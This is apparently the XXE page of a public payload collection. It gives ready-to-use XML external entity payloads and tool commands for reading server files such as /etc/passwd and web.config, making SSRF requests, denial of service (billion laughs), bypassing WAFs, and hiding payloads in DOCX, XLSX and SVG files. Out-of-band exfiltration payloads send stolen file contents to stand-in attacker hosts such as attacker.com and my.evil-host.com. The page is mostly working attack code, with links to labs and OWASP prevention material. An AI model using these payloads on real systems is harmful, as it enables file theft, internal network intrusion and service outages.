!important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
# XML External Entity > An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server. **Internal Entity**: If an entity is declared within a DTD it is called as internal entity. Syntax: `<!ENTITY entity_name "entity_value">` **External Entity**: If an entity is declared outside a DTD it is called as external entity. Identified by `SYSTEM`. Syntax: `<!ENTITY entity_name SYSTEM "entity_value">` ## Summary - [Tools](#tools) - [Labs](#labs) - [Detect the vulnerability](#detect-the-vulnerability) - [Exploiting XXE to retrieve files](#exploiting-xxe-to-retrieve-files) - [Classic XXE](#classic-xxe) - [Classic XXE Base64 encoded](#classic-xxe-base64-encoded) - [PHP Wrapper inside XXE](#php-wrapper-inside-xxe) - [XInclude attacks](#xinclude-attacks) - [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks) - [Exploiting XXE to perform a deny of service](#exploiting-xxe-to-perform-a-deny-of-service) - [Billion Laugh Attack](#billion-laugh-attack) - [Yaml attack](#yaml-attack) - [Parameters Laugh attack](#parameters-laugh-attack) - [Exploiting Error Based XXE](#exploiting-error-based-xxe) - [Error Based - Using Local DTD File](#error-based---using-local-dtd-file) - [Error Based - Using Remote DTD](#error-based---using-remote-dtd) - [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) - [Blind XXE](#blind-xxe) - [XXE OOB Attack (Yunusov, 2013)](#xxe-oob-attack-yusonov---2013) - [XXE OOB with DTD and PHP filter](#xxe-oob-with-dtd-and-php-filter) - [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf) - [WAF Bypasses](#waf-bypasses) - [Bypass via character encoding](#bypass-via-character-encoding) - [XXE in Java](#xxe-in-java) - [XXE in exotic files](#xxe-in-exotic-files) - [XXE inside SVG](#xxe-inside-svg) - [XXE inside SOAP](#xxe-inside-soap) - [XXE inside DOCX file](#xxe-inside-docx-file) - [XXE inside XLSX file](#xxe-inside-xlsx-file) - [XXE inside DTD file](#xxe-inside-dtd-file) - [Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents](#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents) ## Tools - [xxeftp](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads ```ps1 sudo ./xxeftp -uno 443 ./xxeftp -w -wps 5555 ``` - [230-OOB](https://github.com/lc/230-OOB) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via [http://xxe.sh/](http://xxe.sh/) ```ps1 $ python3 230.py 2121 ``` - [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods ```ps1 # Enumerating /etc directory in HTTPS application: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl # Enumerating /etc directory using gopher for OOB method: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher # Second order exploitation: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt # Bruteforcing files using HTTP out of band method and netdoc protocol: ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc # Enumerating using direct exploitation: ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK # Enumerating unfiltered ports: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all # Stealing Windows hashes: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes # Uploading files using Java jar: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf # Executing system commands using PHP expect: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls # Testing for XSLT injection: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt # Log requests only: ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt ``` - [oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF) ```ps1 ruby server.rb ``` - [docem](https://github.com/whitel1st/docem) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc ```ps1 ./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx ./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place ./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place ./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx ``` - [otori](http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html) - Toolbox intended to allow useful exploitation of XXE vulnerabilities. ```ps1 python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs ``` ## Labs * [PortSwigger Labs for XXE](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection) * [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files) * [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf) * [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction) * [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities) * [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration) * [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages) * [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack) * [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload) * [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd) * [GoSecure workshop - Advanced XXE Exploitation](https://gosecure.github.io/xxe-workshop) ## Detect the vulnerability Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element. ```xml <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo> ``` It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server. ## Exploiting XXE to retrieve files ### Classic XXE We try to display the content of the file `/etc/passwd` ```xml <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> ``` ```xml <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data> ``` ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> ``` ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> ``` :warning: `SYSTEM` and `PUBLIC` are almost synonym. ```ps1 <!ENTITY % xxe PUBLIC "Random Text" "URL"> <!ENTITY xxe PUBLIC "Any TEXT" "URL"> ``` ### Classic XXE Base64 encoded ```xml <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> ``` ### PHP Wrapper inside XXE ```xml <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <contacts> <contact> <name>Jean &xxe; Dupont</name> <phone>00 11 22 33 44</phone> <address>42 rue du CTF</address> <zipcode>75000</zipcode> <city>Paris</city> </contact> </contacts> ``` ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" > ]> <foo>&xxe;</foo> ``` ### XInclude attacks When you can't modify the **DOCTYPE** element use the **XInclude** to target ```xml <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` ## Exploiting XXE to perform SSRF attacks XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network. ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" > ]> <foo>&xxe;</foo> ``` ## Exploiting XXE to perform a deny of service :warning: : These attacks might kill the service or the server, do not use them on the production. ### Billion Laugh Attack ```xml <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> ``` ### Yaml attack ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` ### Parameters Laugh attack A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping. ```xml <!DOCTYPE r [ <!ENTITY % pe_1 "<!---->"> <!ENTITY % pe_2 "&#37;pe_1;<!---->&#37;pe_1;"> <!ENTITY % pe_3 "&#37;pe_2;<!---->&#37;pe_2;"> <!ENTITY % pe_4 "&#37;pe_3;<!---->&#37;pe_3;"> %pe_4; ]> <r/> ``` ## Exploiting Error Based XXE ### Error Based - Using Local DTD File Short list of dtd files already stored on Linux systems; list them with `locate .dtd`: ```xml /usr/share/xml/fontconfig/fonts.dtd /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd /usr/share/xml/svg/svg10.dtd /usr/share/xml/svg/svg11.dtd /usr/share/yelp/dtd/docbookx.dtd ``` The file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>` The final payload becomes: ```xml <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'aaa)> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>Text</message> ``` ### Error Based - Using Remote DTD **Payload to trigger the XXE** ```xml <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message> ``` **Content of ext.dtd** ```xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` Let's break down the payload: 1. `<!ENTITY % file SYSTEM "file:///etc/passwd">` This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details). 2. `<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">` This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the `/etc/passwd` content) to the end of the file path. The `&#x25;` is a URL-encoded '`%`' used to reference an entity inside an entity definition. 3. `%eval;` This line uses the eval entity, which causes the entity error to be defined. 4. `%error;` Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of `/etc/passwd`. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of `/etc/passwd` would be disclosed as part of the error message, revealing sensitive information. ## Exploiting blind XXE to exfiltrate data out-of-band Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack. ### Basic Blind XXE The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator. ```xml <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext; ]> <r></r> ``` Send the content of `/etc/passwd` to "www.malicious.com", you may receive only the first line. ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "file:///etc/passwd" > <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> ] > <foo>&callhome;</foo> ``` ### XXE OOB Attack (Yunusov, 2013) ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"> <data>&send;</data> File stored on http://publicServer.com/parameterEntity_oob.dtd <!ENTITY % file SYSTEM "file:///sys/power/image_size"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>"> %all; ``` ### XXE OOB with DTD and PHP filter ```xml <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r> File stored on http://127.0.0.1/dtd.xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>"> ``` ### XXE OOB with Apache Karaf CVE-2018-11788 affecting versions: - Apache Karaf <= 4.2.1 - Apache Karaf <= 4.1.6 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;] <features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0"> <feature name="deployer" version="2.0" install="auto"> </feature> </features> ``` Send the XML file to the `deploy` folder. Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788) ## XXE with local DTD In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this: ```xml <!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]> <root>&test;</root> ``` If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename. ```xml <!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///abcxyz/"> %local_dtd; ]> <root></root> ``` Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message. ```xml <!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> <root></root> ``` ### Cisco WebEx ``` <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd; ``` ### Citrix XenMobile Server ``` <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd; ``` [Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) ## WAF Bypasses ### Bypass via character encoding XML parsers uses 4 methods to detect encoding: * HTTP Content Type: `Content-Type: text/xml; charset=utf-8` * Reading Byte Order Mark (BOM) * Reading first symbols of document * UTF-8 (3C 3F 78 6D) * UTF-16BE (00 3C 00 3F) * UTF-16LE (3C 00 3F 00) * XML declaration: `<?xml version="1.0" encoding="UTF-8"?>` | Encoding | BOM | Example | | |----------|----------|-------------------------------------|--------------| | UTF-8 | EF BB BF | EF BB BF 3C 3F 78 6D 6C | ...<?xml | | UTF-16BE | FE FF | FE FF 00 3C 00 3F 00 78 00 6D 00 6C | ...<.?.x.m.l | | UTF-16LE | FF FE | FF FE 3C 00 3F 00 78 00 6D 00 6C 00 | ..<.?.x.m.l. | **Example**: We can convert the payload to `UTF-16` using [iconv](https://man7.org/linux/man-pages/man1/iconv.1.html) to bypass some WAF: ```bash cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml ``` ## XXE in Java Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE: ![XXE Java security features overview infographics](https://semgrep.dev/docs/assets/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png) - [DocumentBuilderFactory (javax.xml.parsers.DocumentBuilderFactory)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory) - [SAXBuilder (org.jdom2.input.SAXBuilder)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3b-saxbuilder) - [SAXParserFactory (javax.xml.parsers.SAXParserFactory)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3c-saxparserfactory) - [SAXParser (javax.xml.parsers.SAXParser )](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3d-saxparser) - [SAXReader (org.dom4j.io.SAXReader)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3e-saxreader) - [TransformerFactory (javax.xml.transform.TransformerFactory) & SAXTransformerFactory (javax.xml.transform.sax.SAXTransformerFactory)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3f-transformerfactory--saxtransformerfactory) - [SchemaFactory (javax.xml.validation.SchemaFactory)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3g-schemafactory) - [Validator (javax.xml.validation.Validator)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3h-validator) - [XMLReader (org.xml.sax.XMLReader)](https://semgrep.dev/docs/cheat-sheets/java-xxe/#3i-xmlreader) Ref. - [Semgrep - XML Security in Java](https://semgrep.dev/blog/2022/xml-security-in-java) - [Semgrep - XML External entity prevention for Java](https://semgrep.dev/docs/cheat-sheets/java-xxe/) ## XXE in exotic files ### XXE inside SVG ```xml <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://ls" width="200" height="200"></image> </svg> ``` **Classic** ```xml <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> ``` **OOB via SVG rasterization** *xxe.svg* ```xml <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg> ``` *xxe.xml* ```xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>"> ``` ### XXE inside SOAP ```xml <soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo> </soap:Body> ``` ### XXE inside DOCX file Format of an Open XML file (inject the payload in any .xml file): - /_rels/.rels - [Content_Types].xml - Default Main Document Part - /word/document.xml - /ppt/presentation.xml - /xl/workbook.xml Then update the file `zip -u xxe.docx [Content_Types].xml` Tool : https://github.com/BuffaloWill/oxml_xxe ```xml DOCX/XLSX/PPTX ODT/ODG/ODP/ODS SVG XML PDF (experimental) JPG (experimental) GIF (experimental) ``` ### XXE inside XLSX file Structure of the XLSX: ``` $ 7z l xxe.xlsx [...] Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2021-10-17 15:19:00 ..... 578 223 _rels/.rels 2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml 2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml 2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml 2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels 2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml 2021-10-17 15:19:00 ..... 731 352 docProps/core.xml 2021-10-17 15:19:00 ..... 410 246 docProps/app.xml 2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml ------------------- ----- ------------ ------------ ------------------------ 2021-10-17 15:19:00 11216 3586 9 files ``` Extract Excel file: `7z x -oXXE xxe.xlsx` Rebuild Excel file: ``` $ cd XXE $ 7z u ../xxe.xlsx * ``` Add your blind XXE payload inside `xl/workbook.xml`. ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]> <cdl>&rrr;</cdl> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> ``` Alternativly, add your payload in `xl/sharedStrings.xml`: ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst> ``` Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files. `xxe.dtd` ```xml <!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> ``` Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv): ``` $ xxeserv -o files.log -p 2121 -w -wd public -wp 8000 ``` ### XXE inside DTD file Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file. In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM. When all you control is the DTD file, and you do not control the `xml` file, XXE may still be possible with this payload. ```xml <!-- Load the contents of a sensitive file into a variable --> <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!-- Use that variable to construct an HTTP get request with the file contents in the URL --> <!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;">'> %param1; %external; ``` ## Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79 ### Disclose local file ```xml <!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; <!ENTITY test "test"' > %local_dtd; ]><xxx>cacat</xxx> ``` ### Disclose HTTP Response: ```xml <!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "https://erp.company.com"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; <!ENTITY test "test"' > %local_dtd; ]><xxx>cacat</xxx> ``` ## References * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) * [XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) * [Detecting and exploiting XXE in SAML Interfaces](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) - 6. Nov. 2014 - Von Christian Mainka * [[Gist] staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4) * [[Gist] mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) * [Exploiting xxe in file upload functionality - BLACKHAT WEBCAST - 11/19/15 - Will Vandevanter - @_will_is_](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) * [XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)](http://en.hackdig.com/08/28075.htm) * [From blind XXE to root-level file read access - December 12, 2018 by Pieter Hiele](https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/) * [How we got read access on Google’s production servers](https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/) April 11, 2014 by detectify * [Blind OOB XXE At UBER 26+ Domains Hacked](http://nerdint.blogspot.hk/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html) August 05, 2016 by Raghav Bisht * [OOB XXE through SAML](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf) by Sean Melia @seanmeals * [XXE in Uber to read local files](https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html) 01/2017 * [XXE inside SVG](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) JUNE 22, 2016 by YEO QUAN YANG * [Pentest XXE - @phonexicum](https://phonexicum.github.io/infosec/xxe.html) * [Exploiting XXE with local DTD files](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) - 12/12/2018 - Arseniy Sharoglazov * [Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd](https://portswigger.net/web-security/xxe) * [Automating local DTD discovery for XXE exploitation](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation) - July 16 2019 by Philippe Arteau * [EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN](https://www.4armed.com/blog/exploiting-xxe-with-excel/) * [excel-reader-xlsx #10](https://github.com/jmcnamara/excel-reader-xlsx/issues/10) * [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube) * [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon * [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK * [XXE: How to become a Jedi](https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf) - Zeronights 2017 - Yaroslav Babin * [Payloads for Cisco and Citrix - Arseniy Sharoglazov](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) * [Data exfiltration using XXE on a hardened server - Ritik Singh - Jan 29, 2022](https://infosecwriteups.com/data-exfiltration-using-xxe-on-a-hardened-server-ef3a3e5893ac)
